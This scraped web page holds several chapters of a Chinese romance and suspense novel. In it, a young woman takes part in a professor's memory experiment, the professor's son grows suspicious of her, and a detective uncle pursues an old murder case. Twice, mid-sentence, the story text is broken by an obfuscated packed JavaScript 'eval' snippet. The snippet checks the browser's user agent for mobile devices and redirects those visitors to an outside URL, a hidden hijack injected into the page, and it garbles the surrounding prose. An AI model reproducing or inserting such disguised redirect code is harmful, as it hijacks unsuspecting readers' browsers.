“也可能见过,只是你没什么印象。”宋挚对上她的眼睛,发现她的眼睛很是清透,宛如一汪未被污染的湖水。 原来,她不撒谎的时候,说话时会直视他的眼睛,并不会躲避视线接触。 紧接着,雎安也好似漫不经心地问道:“嗯,也是。那你呢?你在哪读的本科?” 闻言,宋挚的眸光几不可查的深了几分,更具探究意味地看向雎安,“我本硕连读,都在这。” “那你很厉害。”雎安别开眼,摸了摸鼻子,肩膀再一次触到了宋挚的手臂,慌张中,她放缓脚步,默默将距离拉开。 原本,她只是好奇宋挚为何会出现在华州财经的校外,但她看宋挚的神情,感觉他领会到的意思好像不太对。 而且,也不知道是那些记忆在作怪,还是她太敏感了。她总觉得他问的问题有些奇怪,对她的态度也怪怪的,和来时的礼貌淡漠不太一样。 见她身体僵硬,左手紧紧抓着帆布包的包带,整张脸更是以肉眼可见的速度变红,宋挚便不再出声,主动加快脚步,给她更多空间。 她还真容易脸红,今天都看到好几次了。 宋挚腹诽,边走边回忆,才发现自己若想要分辨她每次脸红的具体表意,可谓难如登天。 “师兄,这里!” 突然,宋挚朝一辆行驶中的小黄车招手。 雎安还在慢慢地往前走,直到小黄车停在面前,宋挚叫住她,驾驶位的男生示意她上车的时候,才回过神来。 “Hi,宋挚。Hi,美女,我叫黄健豪,你叫什么?”黄健豪热情地打招呼,浑圆的脸蛋颇具喜感。 “你好,我叫邹雎安。”雎安微躬身,有些拘谨,“关关雎鸠的雎,平安的安。” 黄健豪客套了一下,“好文雅的名字。” 宋挚在一旁看着,随后提醒道:“快上车吧,回到家以后,记得和宋教授报声平安。” 闻言,雎安点头应答,随即一边走一边观察起跟前这辆两面透风的小黄车来。 这辆小黄车的车身上有路飞和悟空的卡通贴纸,和其他车比起来,多了些辨识度。 见宋挚拿手机出来扫码付款,刚坐上副驾驶位的雎安欲起身制止,却被黄健豪率先打断。 “哎,就两块钱的事,不用了。” 宋挚二话不说就扫了码,一边付款,一边轻笑道:“就因为是小钱,我更得转。下次有空,师兄来一起打球吧,我请你吃饭。” “好,一定!”黄健豪不爱运动,但仍答应得很爽快,眼睛笑眯眯的,看起来憨态可掬。 雎安左看看宋挚,右看看黄健豪,在他们聊完的瞬间,寻得时机,赶忙开口道谢:“宋挚,谢谢你哦,谢谢你送我出来搭车。” 闻言,宋挚的视线从黄建豪身上挪开,好像才注意到她一样,“不用谢,反正我已经后悔了。” 此言一出,不止是雎安,黄健豪和身后的吃瓜群众都怔住了。 “因为,你不诚实。” 15. 我喜欢邹雎安 回家的路上。 雎安控制不住地去想宋挚说的那句话,虽然他的语气仿若和朋友开了个不经意的玩笑,但当时的她,还是听得鸡皮疙瘩暴起。还有他当时的表情,笑容淡淡的,看着柔和,并无讽刺之意,但笑意不达眼底。 回想起来,她竟觉得有些瘆人。 而宋挚在说完“因为,你不诚实”后,并不给雎安时间回应,似笑非笑地朝黄建豪和她点了点头,便转身离开了。 以至于黄健豪都没忍住问一嘴,她是不是哪里得罪宋挚了? 回到家后。 雎安头脑乱得很,难以招架父母的连环问,索性说头疼,把自己锁在房间里。 她倒在床上,拿出手机,给宋言林发微信:您好,宋教授,我已经到家了。 宋言林很快回复:好的,你有空就把各类费用记起来。等试验结束,我会把参加实验的报酬一起转给你。 雎安:好的。 对着聊天框出神的雎安,想要把宋挚说的话告诉宋言林。 可转念一想,宋教授会不会觉得她小题大做?这点事也打电话过来抱怨。 叮叮叮,叮叮叮~ 手机响起信息提示音,宋言林和沈薇的消息同时弹出。 她的手机界面还停留在和宋言林的聊天框里,自然先看了宋言林的信息。 她定睛一看,竟然是两万块的转账! 宋言林:雎安,我还是觉得先转一部分钱比较好。实验不知道什么时候能结束,既要你花费时间,还要你垫付金钱,我也不好意思。 雎安没推脱,干脆利落地收下,而后连发两条信息道谢。 等这边聊完,她打开和沈薇的聊天框,点开沈薇发来的一连串语音,抱怨声即刻从听筒里蹦出来。 沈薇说她在外地干不下去了,在公司没日没夜的加班,工资就只比华州同级别的公司多两千块,实在是没动力。 沈薇:还是喜欢华州这座养老城市。 雎安:小样,等你回来华州,它会给你一记重击! 其实,沈薇没少和她抱怨工作,只是这回情绪尤为激烈,雎安和她确认:这回确定要回来了? 沈薇:对啊,混得不好只能回家了。下周末聚聚? 雎安想起陈思雨和她说,下次实验很可能是在下周日,遂问道:下周六可以吗? 沈薇:没问题!你现在是双休吗? 雎安:是啊,而且不用加班。不过,我觉得我可能快失业了,公司氛围怪怪的,大家都没什么客户的感觉。 沈薇回复了一句“不用加班就很好呀”后,人就消失了。 她急着收拾出租屋的东西,将它们用快递箱打包起来,过几天直接寄回家。 至于雎安,则沉浸在随时可能失业的忧愁中,也不知过了多久,她的思绪终于被邹伟聪和纪小梅的争吵声拉回现实。 纪小梅不满道:“那个什么装置的实验多危险啊,当初就不该为了钱同意她去。” 邹伟聪觉得好笑,“哪里危险了?人不是好好回来了吗?” “你没看到女儿刚刚的样子啊?”纪小梅指着邹伟聪,情绪逐渐有些激动,“我们就一个女儿,万一出什么意外,人家可是华州大学的教授,有学校护着的,要是抵赖的话,我们又能怎么办?” “呸呸呸!她就是累了而已,你说的什么屁话?整体就说些不吉利的。年轻人累一点不是很正常吗?年纪轻轻的就想躺家里,舒舒服服的,以后怎么办?”邹伟聪越说越激动,声音逐渐盖过了纪小梅,“再说了,又不是什么试药品的实验。人家当时几次三番的上门和我们解释,我们也录音录像了。” 随后,邹伟聪又补了一句:“十万块,不是小数目。” “就是因为不是小数目,还那么执着地找我们女儿,我才不放心呐~”纪小梅很是不安,“该不会,那个教授有什么......” “停停停!”雎安在房间里被迫听着两人的对话,发现走向越来越离谱的时候,起身去了客厅,出声打断道:“我就是累了,偏头疼发作而已,没有发生什么不好的事。况且,我们已经答应了人家,还签了合同,要言而有信的。” 纪小梅的表情还是不好,“妈妈知道,但就是怕你出事啊,新闻里很多犯罪的人前期都是慈眉善目的好人,留个心眼总是好的。” 话糙理不糙,有担忧很正常。 可纪小梅之前一听对方是大学教授,就很心大地笃定对方不敢做出格的事,还劝雎安多去名牌大学走走,找个男朋友回来,现在怎么突然变了? 雎安察觉到不对劲,“妈,你是不是和谁说了我去实验的事啊?” 纪小梅眼神闪躲,“就和同事讨论了一下,结果大家都说那个宋教授一定有问题。” “妈,你不会全都说了吧?!”雎安的心咯噔了一下,紧张得声音都抬高了许多,“就算教授没和你们细说内容,你们也绝不能泄露出去。你怎么能和别人谈论呢?我是签了保密协议的,你们泄露也是我违约,是要支付巨额违约金的。” 这项技术并不成熟,却又足够新奇、足够诱人,被传扬出去的话,指不定会被什么人盯上。 由此,宋言林一而再再而三地强调,不能和任何人谈论此事。 “没没没。”纪小梅连忙摆手,“我就说你去华州大学做实验,教授是物理系的宋言林,没说其他的,实验的内容我也不知道啊~” 雎安松了口气,又觉得还得敲打敲打自己的父母,“那也不行。记住,一定不能和任何人提我去实验的事!我们可没钱支付违约金。” 说完,雎安突然感到一阵眩晕,太阳穴处突突地跳。 她忍着难受,扶着沙发站起身,“我先去休息了,今天真的很累。” 刚刚父母在争吵的时候,雎安就已经觉得不太对劲。 她的头很重,重到像是被人灌了铅,因为以往有过偏头痛的经历,当时她并没有在意。 可此刻,她的头不仅是疼,最可怕的是晕,晕得像是转了几十圈的大象转。 她眼前的天花板都在打圈,不知道自己到底是躺在床上,还是在水中漂泊。耳边是喋喋不休的争吵声,像是她父母的声音,父亲说母亲大嘴巴会害死人,母亲说父亲眼里只有钱。 慢慢的,她听不到任何声音,脑中却开始不断重复装置里的画面。画面一一闪过,她只觉得整个世界天旋地转、仿若进入到了一座空中楼阁。 ———— 宋挚没有回宿舍,而是开车去市场买了条鲤鱼和三把君踏菜,然后便回了家。 踏进家们的那刻,阴凉之气扑面而来,宋挚站在客厅嗅了嗅,室内还有一股木头的潮气。 看来,不止是他,宋教授也不常回家。 空荡荡的冰箱佐证了他的想法。 他叹了口气,拿起手机,打开外卖软件,叫了鸡蛋、干椒、银耳、莲子和姜葱蒜。 随后,便坐在客厅的沙发上等待,可不到一分钟,他的眉头却不自觉地皱起,起身将通风设备和室内的窗户全都打开,最后还是不满意,又去自己房间翻出一个还未拆封的雪松香薰,拆开包装,取出一支火柴,极为利落地对着擦条一划,室内瞬间充斥着火柴燃烧的气味,他将火焰对准木心蜡烛的灯芯,成功点燃后,呼的一声将火柴吹灭。 等外卖员抵达的时候,满室都已是雪松的香气,给人一种温暖却又疏离的包裹感。 只是,这味道才散开不久,宋挚便在半开放式厨房里开始备餐,拍开姜葱蒜以后,整个室内都是食材的气味,将香薰的气味掩盖。 客厅里的电视开着,播放着《舌尖上的中国》,应该是恰巧播到什么阖家大团圆的内容,里头传出一众人欢乐的嬉闹声。 宋挚腌制鱼肉的动作一顿,脑中不受控制地想起以往每年芒种,母亲都会做银耳莲子羹,宋教授会去当地有名的怀旧酒铺买一瓶青梅酒,而他则会做一条红烧鲤鱼,再提前备好青菜、牛肉和姜葱蒜,等宋教授回家大展身手,他和母亲便去倒酒摆盘,待最后一道君踏菜出锅,便热热闹闹的开饭。 明明才不到四个月,宋挚竟觉得母亲已经离世了很久,久到他对过往温暖的画面都有些陌生,久到他对回忆里的宋言林的笑颜感到厌弃。 他放下手里的鱼肉,收回望向餐桌的视线,垂眸低头,没有落泪,没有任何表 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不同于宋挚,宋言林做菜时喜欢把推拉门打开,以隔绝油烟和噪音,也可以独自享受在厨房的时光。以往他们三口之家,即便在外人看来,日子甜蜜得有些黏腻,也会给予彼此充分的私人空间。 他想,这或许就是他们家少有矛盾的秘诀。 宋挚摆完碗筷、倒好酒后,便坐在电视前等待,除去电视里传出的油烟声,室内还有木心蜡烛噼啪噼啪的燃烧声,偶有碗碟之间碰撞的声音传出,空气中有残留的煎鱼香气与雪松香气混在一起,是语言描绘不出的温馨感。 他的眼睛直勾勾地盯着挂壁电视,但心思却完全不在那,脑中全是那些无意间听到的故事。 那些荒唐的故事,与他而言,简直无稽到令人发指。 可他心里排斥,大脑却将那些故事一一描画,在脑海中形成了影像。 若是此刻有人问他,哪部分内容最难以想象,那必然是和周浮沉有关的部分。 他们从小一起长大,就算后来不在一个学校,只是偶有联系,也是志同道合的朋友。 他很吃惊,也很意外。 但他意外的点,并不是他们会喜欢同一个人,而是他有可能是插足者。 以他的道德观,这种事发生在他身上的概率为零。 “阿挚,开饭了。” 推拉门被打开,饭菜香扑鼻而来,宋挚第一时间注意到的,却是那些被遗忘在角落的银耳和莲子。 “我不知道你会回来,所以去张记酒家打了点菜回来,现在正好一起吃。” 宋言林将冒着热气的菜端到餐桌上,正好去开打包盒的时候,宋挚已经率先去了。他必须承认,他可以指责儿子的某些做法,但不能随意质疑他的教养。 用餐间,注意到宋挚的频繁出神,以及想起杜崇礼在他面前抱怨他儿子总是缺课,面对着这一桌色香味俱全的佳肴,宋言林食不知味。 他并非那种传统的大家长,虽然偶尔严肃得有些吓人,但并不爱摆架子,也不喜说教。 可此刻,作为一名父亲,他还是开了口:“你也......是时候考虑未来的事了。我其实并不想过多的干涉你。可老杜说,你最近几个月经常缺课缺实验,再这样下去,你想过后果吗?” 宋挚低着头,一言不发。 宋言林叹了口气,“下午之所以凶你,是我心里有气,觉得你对你自己不负责。未来你总归要有你自己的生活,我会老,就算想帮你,也会越来越有心无力。到时候,你要是想要有舒心快乐的生活、想要建立正向的亲密关系,这些都需要良好的经济基础。而现在的好工作,学历就是敲门砖。” 言下之意,你该先完成学业。 而后,他又补充道:“就算你想和你妈妈那样一毕业就去创业,那也需要人脉和资源,这些都需要你积极维系和积累。” 良久,久到宋言林以为宋挚根本没在听的时候,终于听到他开口:“建立正向的亲密关系?” 紧接着,他笑了一声,漫不经心地道:“我喜欢邹雎安。” 16. 他的视线只落在雎安身上 “什么?!”宋言林以为是他幻听了,“你刚刚说什么?” “像您和妈妈一样,一见钟情,不行吗?”宋挚靠在椅背上,盯着宋言林的脸,说得漫不经心,表情满是戏谑之意。 宋言林不解的同时,更是恼怒,“你最好看看你现在的样子,再听听你说的话!” “您为什么生气?”宋挚不气不恼,反倒露出一副不解的表情,“我以为,这是您想听到的话。” “别人或许不了解您,可我很清楚。您今天在实验室的一切都很反常,那女孩根本不是你随机选来的人,您一定是有别的目的。” 自宋言林和宋挚闹矛盾以后,他们见面的次数屈指可数,但只要一见面,宋言林都会明里暗里打探他的情感状况,非常得奇怪。 宋挚的目光变得尤为犀利,“难道,是为了我?” 要说刚才宋挚一番莫名其妙的话让宋言林摸不着头脑,那么现在,宋言林总算反应过来。 今天下午,他和雎安聊完装置的事情后,返回实验室时,宋挚并不在实验室。 “你偷听了我和雎安的谈话?” 宋挚耸耸肩,“什么谈话?我不知道。” 宋言林的脸色彻底冷了下去,“别人或许不了解你,但我很清楚。你知道我在说什么,你的问话也是意有所指。你在说谎!” “那又怎样?”宋挚的脸色跟着冷了下来,“她骗我,您也在骗我。你们都不诚实,又怎么能怪我说谎?” “你不单说谎,你还偷听!”宋言林用力拍打桌面,发出一声巨响。 宋挚紧盯着他暴怒的眼睛,还是选择解释,“你们就站在连廊上谈话,又没有隔音设施,我是无意间听到了我的名字,才停下来听你们说话的,你爱信不信!” 这回,宋挚连“您”都不说了。 “我早就告诉过你,装置里发生的一切都不是真的!” 宋言林努力平息怒火,理智告诉他,他得和宋挚解释清楚,“雎安是第一次实验,她会不自觉地把实验里发生的事情当真,会紧张地把里头的事告诉我,害怕发生意外,这都很正常。实验开始之前,我就在实验室里说过,实验者有可能会发生记忆错乱和意识混沌的情况。或者在你看来是反常,可这一切都在我的预料之内。” “是吗?”宋挚不置可否,“妈妈死后的第一天,你信誓旦旦地说要靠装置改变过去,埋头扎进了实验室。可现在装置越来越成熟,有了充足的设备、人员和资金,您怎么就改口和我说不可能了呢?如果是担心危险,可这世上连吃饭都有被噎死的风险,为了妈妈冒险,难道不值得吗?如果是另有隐情,好,那就请你告诉我!” 危险?确实是危险。 另有隐情?也确实是另有隐情。 宋言林想起了什么,默默地将张开的嘴合上,一个音都没发出来。 宋挚见状,以为是戳到了父亲的痛处,脸上是毫不掩饰的难过和失望,“现在的装置,就像个供富豪消遣的大型游戏机。为了名利,你就只有这点志向了吗?” “不是因为名利。” 宋言林垂着头,宋挚看不清他的表情,只能听到他落寞的声音。 “是我能力不够。” 头几个月还信誓旦旦,说哪怕要耗费几十年光阴也要救回妻子的人,如今却说自己能力不够,笃定自己做不到。 宋言林知道这没有什么说服力,以至于他自己的内心都不认同,但这却不失为一个好办法。 他奇怪的态度和举动,确实成功勾起了宋挚的好奇心和探究欲。今天宋挚来参观实验,还接近雎安、打探消息,就是最好的证明。 人走茶凉,满室的饭菜香散去,室内再一次被雪松的香气包裹。 起先,宋言林以为是他衣服的香气,可等他洗完碗筷,独自坐在沙发上,对着早已关闭的电视机出神的时候,终于注意到置物柜上的木心蜡烛。 蜡烛燃烧得极为热烈,不断发出噼啪噼啪的声响,与柴火燃烧的声音如出一辙。 “宋教授,我对你很失望。” 宋挚没想到宋言林居然不再多做解释,摔门离开之前,留下的只有这句话。 而宋言林关注到的,不是他话里的愤懑,而是他眼底燃起的怒火。 就如同他眼前的火苗,只需凑近些,就能感受到极高的热量,仿佛就快要带着怒气冲到他眼前。 宋言林紧盯着那猛烈晃动的火苗,突然从中感受到了一股强大的能量和生命力。 ———— 次日。 雎安被闹钟吵醒,极不情愿地起身下床,在梳妆镜前伸了个懒腰,揉了揉仍隐隐作痛的太阳穴,拖着疲惫的身躯去洗漱换衣。 换作往常,她预留有足够的时间,哪怕化个淡妆出门也没问题,今天却因为突然想起自己昨晚没洗澡而冲进浴室,手忙脚乱之下,浪费了很多时间。 最后,因为迟到两分钟,还打了个迟到卡。 此刻,雎安趴在桌上,双目无神地看着电脑屏幕,看着尤为沮丧。 汤晴路过,敲敲雎安的电脑显示器,提醒她,“戴老板一早就来了,快打起精神来~” 雎安朝她笑了笑,“好。” 随后,她的手机震动。 是汤晴发来信息,问她中午要不要一起去吃饭,雎安没犹豫,直接回了个“好”。 雎安毕业于华州财经大学,读的是商务英语。 和大多数毕业生一样,她也曾犹豫过要不要读研,但一想到家里的经济状况,很快就放弃了这个念头,毕业后去了几家大公司面试,都因为学历和口语水平欠佳而被拒之门外。 最后,就到了这家外贸公司上班。 公司是很普通的小微私企,办公地点位于市中心的华御大厦A座的12楼。 与雎安而言,好处就是离家近,免去一笔租房的费用。再来,这附近都是商场和美食商铺,只要有能力消费,聚餐游玩的地方有的是。 “听很多人说,这家店的招牌鸡公煲超级好吃!”在汤晴兴奋的介绍声中,雎安抬头去看牌匾。 果然,就是她极为熟悉的“张师傅鸡公煲”。 之前只听母亲说过,还没来过这家新店,雎安一直以为它开在负一楼,属于平价的快餐小吃类。毕竟嘉源广场是华州最大的综合购物中心,谁想它一个从喜多多农庄开出来的小店,先是在临湖的南林社区开了家分店,如今竟能开到嘉源广场的五楼,和一众老字号和全国连锁品牌竞争。 雎安观察起店内的装潢,发现这和前两家店完全不是一个风格,走的是华丽商务风,就连椅子都是国风配色的昌迪加尔椅。 雎安想起了农庄那家老店里都是层层叠叠的红色塑料凳。有一次,她坐到一张烂脚凳,吃饭的时候,只要有上前夹菜的动作,就会发出“哒”的一声。 起先纪小梅还觉得奇怪,找到原因后,笑得前仰后合,还呛到差点就要做海姆立克急救。 这差距,也太大了! 难怪母亲那么激动,雎安不免感叹,佩服起张风的经商能力。 “今天开业有88折,免茶位,还送果盘耶。”汤晴扫码后打开菜单,示意雎安选,“你有什么想吃的吗?” “我都行。之前我在老店吃过几次,他们家的菜味道都不错。”雎安落座在最靠近热水壶的位置,抬手摁下烧水键,根本没去看菜单。 汤晴也不磨唧,“好,那我就下单招牌鸡公煲和腊味煲仔饭吧。” “没问题。”雎安随和地应道,随手将服务员端来的果盘往汤晴那推,“说起来,最近戴总经常来办公室,我都不习惯了。” 汤晴用竹签叉起一块西瓜,递给雎安,笑道:“因为不能迟到摸鱼?” “倒不是因为这个。”雎安接过西瓜,思考了会儿,才道:“我来两年了,都没见过戴总几次,结果这两个月几乎每天都见到她,就觉得......很奇怪。” 咕噜咕噜,咕噜咕噜,热水壶的水一烧开,雎安便着手泡茶,她先将热水倒进茶碗里温杯,而后倒掉热水,撕开茶包,将祁门红茶投进茶碗里。 “可能和她儿子有关吧。”汤晴吃了块哈密瓜,问道:“你应该知道戴总有好几家公司吧?” 雎安想了想,好像是听过,故而点头。 “戴总的老公还是安娜维诺化妆品有限公司的董事长。说实话,我要是她,我也懒得理我们这些小员工,就我们公司赚来的三瓜两枣,都不够人家买条项链的。” 汤晴跑了题,听得雎安云里雾里,“但是,这和她儿子有什么关系啊?” 闻言,汤晴连哦两声,把在茶水间听来的八卦,分享给雎安,“好像是因为戴总的儿子让一女生怀孕了。她儿子就住在嘉源新御的高级公寓里,那女生是附近一家咖啡店的服务员。戴总看不上那女生,最近总来这边处理这件事。听说又是训儿子,又是逼人打胎,忙完了还来公司接着工作,累够呛。” “啊?”雎安倒水的手一滞,没想到竟然会在大中午听到晚八点狗血档时常会出现的豪门故事,情节俗到让她提不起兴致,“挺劲爆,不过也蛮无聊的,感觉在言情小说里看过无数回了。” “确实。”汤晴认同,不过还是拿出手机翻翻找找,“廖欣说,她还有那女生的抖音,前几天还分享给我了。你看!” 雎安将泡好的茶汤倒进公道杯内,以免茶汤过浓会涩口,而后接过汤晴的手机。 本来,她只打算礼貌地看一眼,而后将话题揭过。毕竟这种情况下,多数都是在对女生评头论足,雎安不喜欢这样。可在她看到屏幕上那张脸的瞬间,却选择了凑近观察她头像上那两个有些变形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至于她,在来这家公司前,尤其是那段找不到工作、被迫家里蹲的日子,每当她踏进家门,耳边都是叹气声和抱怨声,空气仿佛都成了黑灰色,只要她一吸气,就会把灰暗沉闷的气息吸入肺部,从而蔓延全身,侵蚀她的身体和灵魂。 而当她有了工作,家里的气氛终于得到缓和。 虽然父亲依然暴躁易怒、母亲依然爱挑刺,但她有了办公室这个港湾,心情比在家的时候轻松很多。 这在许多打工人听来,或许觉得匪夷所思,但与她而言,却是如此。 想到这,雎安竟是笑了,“玄学什么的,我确实不太信。比起玄学,我更怕公司是在做什么违法的事,那才是真吓人。” “天哪,你可别乱说!”汤晴想起最近看到的新闻,心里发慌,可转念一想,笃定地否认道:“我们平时的工作内容都很正常,又不是会计,不可能啊。” 雎安不置可否,挑了挑眉,低头抿茶。 “不过,也难说。”汤晴转头,望着落地窗外人来人往的商场过道,被突然冒出来的小孩吓一跳,“天!这世上怪事那么多,什么都有可能。” 没由来的,雎安想到了装置里发生的一切,不禁喃喃,什么都有可能吗? 不可能吧。 见汤晴扬起手,一副要打人的架势,她顺着汤晴的视线望去,看到了一个正在做鬼脸的小男孩。他前仰身体,翘高屁股,双手的食指用力地下扯眼睛,左右晃悠着舌头,很鬼马,也很欠揍。 雎安玩心大起,想吓吓他,但眼角眉稍却因笑意而变得格外柔和,丝毫不起作用。 最后,逼得她使出必杀技,一把站起身,作势要出门会会他,小孩哥才嘻嘻嘻地撤退了。 “真调皮!”汤晴瘪嘴,正想叫雎安坐下,就看到她突然瞪大了双眼。她的眼底,除了讶异,还有很多说不清道不明的情绪在涌动。 这回,换她顺着雎安的视线望去。 汤晴抱着期待又兴奋的心情,以为能看到帅哥,结果竟然是一个四十几的中年男人。 那男人的五官俊朗,但打扮随意,且眼神凌厉,察觉到她们的视线后,眼睛即刻瞄准目标,视线如箭般投射过来。 汤晴一抖,视线偏移,这才注意到中年男人的身边站着一个年轻帅哥。 他和那名中年男人不同,他的视线冷而不厉,只落在雎安身上。 看起来都不好惹。 汤晴心里吐槽,刚要收回视线,就看到年轻男人朝雎安笑了下。 他的笑容很淡、很轻,如同一颗小石子突然被丢进静如死水的湖泊里,惊得湖面泛起极为短暂且慌乱的涟漪,虽无法与波澜壮阔的海浪比拟,却是不容小觑、无法忽视的存在。 17. 总得有人冒险 连续三天的加班,终于迎来一天假期,邓庆生拖着疲惫的身躯回到家,在一声声激动的犬吠和热烈的环绕中倍感欣慰。 年过四十的他,由心地感受到了什么叫力不从心,即便非常想和活力无限的芝芝玩上一阵,但他的身体和大脑都因为已经超过强撑的极限,洗完澡后,倒在床上,直接睡死过去。 隔天,是电话声把他从梦乡拉回现实。 十二个小时的睡眠让他重新恢复活力,在看到来电的是宋挚,听到他竟然主动邀请他去嘉源广场吃午餐的时候,他爽快应下。 开车过去只需要五分钟。 时间很短,但邓庆生却想到了很多事,有关于他姐姐邓玉瑛的死亡,有关于宋言林和宋挚争执的种种,都在他脑中一一浮现。 他想,他也许是在过度担忧。 可当他见到宋挚后,发觉他对宋挚的想象还是保守了,在和他闲逛的五分钟里,宋挚比他印象中的变化还要大,他几乎都要以为是他认错了人。 “今天周三,你不用上课吗?” 邓庆生想起之前和宋言林聚餐时,宋言林痛心疾首地说他和阿挚如今有很大的隔阂,还说宋挚很颓废、时常翘课,不知道该如何教育和引导儿子。 闻言,宋挚一愣,因为心思不在这,只敷衍道:“下午没课。” 邓庆生又问:“也不用做实验?” 宋挚摇头,蓦地转移话题,“舅舅,之前叶老师的案子,凶手有眉目了吗?” 这就是他约邓庆生出来的目的。 他知道邓庆生一直在寻找杀死叶扶英的真凶,即使时隔十一年,明知机会渺茫,也从未放弃。 就在昨天,他从宋言林和雎安的对话中得知,雎安在装置里看到了嫌疑人的脸。 重点是,她觉得那人十分眼熟。 这便意味着,如果有怀疑对象的照片,她大概率能认出那人来。 只是,宋言林的实验内容于多数人而言,太超前,太离谱。 他都没弄清怎么回事,自然无法向邓庆生解释,可他又希望能帮到他这个心存执念的舅舅,便决定来打探打探。 考虑到邓庆生是二十多年的老刑警,观察力和洞察力超乎常人,他选择的打探方式相当直接,就是坦荡地问。 “怎么会突然问这个?”邓庆生很是意外,“我好久都没和你们提这件事了。” 对此,宋挚极自然地说出了事先准备好的说辞,“没什么,就是前几天去了趟华州财大的新校区,想起叶老师是在那附近出事的,所以就想问问。” 谈及此,邓庆生的眼神逐渐黯淡,声调都轻了很多,感慨道:“是啊,居然都十一年了。这些年,我调查了很多人、很多事,心里是有几个重点怀疑的对象。但那可是命案,最重要的是证据。” “有怀疑对象的照片吗?” 宋挚想起之前邓庆生曾很笃定地说,杀害叶扶英的人肯定是毒贩,一定是有什么人想要报复他。 当时,宋挚觉得那只是邓庆生在极度悲伤下的自责情绪,现在想来,他长期和毒贩斗智斗勇,那时候很可能是收到了谁的威胁和警告,以至于让他如此笃定。 只是,他不能和家里人透露案件细节。所以,他唯有和战友们一起奋战。当战友们侦查数月未结,只能选择奔赴下一个“战场”的时候,哪怕只剩他一人,哪怕有可能到老到死都不会有个结果,但他仍然选择奋战。 “可以发给我,我能帮忙留意留意。” 宋挚现在需要获得准确的信息,最好是高清的照片。 “太危险了,都是些瘾君子。”邓庆生拍拍宋挚的后背,“你的心意,舅舅心领了。阿挚,你长大了,变得越来越有担当。舅舅的事不用你操心,只希望你对你自己的人生负责,立足于当下,不要做让自己后悔的事就行。” 邓庆生言语中的规劝之意,宋挚当然听得出,但并没有往心里去,心思还在让邓庆生给他透露信息这件事上。 可是,接下来不论宋挚如何强调自己不是冲动的人,不是要做什么危险的事,只是想在碰到可疑的人和事的时候,能够提供线索给邓庆生。 邓庆生都或委婉、或直接地都拒绝了,期间,还用很感动的神情,满面欣慰地看着宋挚,线索是一点都没透露。 电梯打开,抵达五楼。 宋挚只觉心累,打算把这件事往后放,等用餐的时候努努力,看看邓庆生在美食面前会不会少些防备、透露点有用的信息。 “不过,阿挚你真的变了很多。” 邓庆生一路都在观察宋挚,他眉眼冷峻,脸上没有笑容,说话的声音很平静,好像没有情绪能沾染上他,浑身透着冷淡疏离的气息,和以往乐天达观的他截然不同。 别说是亲人,即便是以往只见过几面的陌生人,都能一眼看出差别。 “阿姐在你读大一的时候查出癌症,好不容易克服了病魔,能过舒心日子了,结果计划的欧洲旅行都还没去成,就......唉~确实是太突然、太意外。我知道你还没接受事实,其实......我也没完全接受,可阿姐在天上看着,一定希望能看到你开心幸福的样子。” 邓庆生拍了拍宋挚的后背,比起上一次,力道更轻、更柔和,“相信舅舅,多出去走走,看些新事物,交些新朋友。时间可以治愈一切。” 这句宽慰的话,邓庆生有资格说。 当年,他的未婚妻出事身亡,一切都是那么突然。他还沉浸在求婚成功的喜悦中,思考着如何布置新房和安排婚礼,心中对两人的未来充满了各种美妙的遐想。 可一通来自医院的电话,就将这一切美好的遐想都击碎了。 “好,我明白了。” 宋挚呼出一口气,眸光微暗,不似刚才那般淡漠,眼底似有情绪在流动。只是,那并不像是什么正向的情绪,哪怕在灯光明亮如白昼的商场里,他都像是被笼罩在了阴影里。 他说:“舅舅,你记得要定期体检。” 恍然间,邓庆生好似看到了十一年前的自己,有些神伤,“放心吧,我上个月才体检了,各项指标都不错。” 随后,他逼自己收拾好情绪,压抑着内心的苦楚,不无感慨道:“体检的时候,我还看到了浮沉。你别说,你俩初高中常在一起玩的时候还不太像,现在倒是越来越像了,和亲兄弟一样。” 话语间,邓庆生注意到宋挚今天穿的衣服和周浮沉体检那天穿得非常像,兴许是同品牌同系列的夏季男装。 见宋挚的表情有些沉重,邓庆生又想缓和气氛,故而玩笑道:“眼光也差不多,以后可别喜欢上同一个人啊。” 说完,一个人嘿嘿嘿地尬笑。 可这句玩笑话却是精准地刺到了宋挚,让他想起昨天雎安说得最语无伦次的一段话。 当时的他,即便看不到她的表情,也能从她局促的语气里想象出她无措的表情。 “我的脑中出现了很多不属于我的记忆,而那些记忆,大一部分都和......宋挚有关。” 从宋言林的声音里听不出一丝惊讶,“嗯?你和阿挚?” 雎安支支吾吾道:“对。呃.....但也有其他人。” 宋言林,“说说看。” 一阵沉默后,传出宋言林的轻笑声,“没事的,装置不是现实,也不是你想象出来的幻觉。雎安,大胆说。你说了,我才能更好的开展实验。” “好。”雎安一咬牙,一开口,就如炮仗般说得停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15906603|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不下来,“我进装置后,第一次从叶老师嘴里听到宋挚这个名字的时候,就在那个瞬间,后脑勺有一种酥酥麻麻的感觉。之后,我的脑中就会出现不属于我的记忆。但......但是又很真,就好像真的是我的经历,我甚至能回想起当时的感受和想法。可是,我确信我没有那样的经历。还有一次,还有一次是在病房里,我守在昏迷的叶老师的身边,一时走了神,明明没见到宋挚,也没有听到他的名字,可脑子里还是出现了和他有关的记忆。” 接着,是宋言林更为平静的声音,“雎安,不着急,慢慢说,说具体些。” 这回,雎安的声音里透着一种赴死般的决心,比刚刚还要紧张,“第一次是在人行道上,我正走路回家。他就,就突然冒出来,问我怎么突然对他很冷淡,还说.....做朋友什么的,一点意思都没有。” 宋挚有些错愕,不禁蹙了蹙眉。 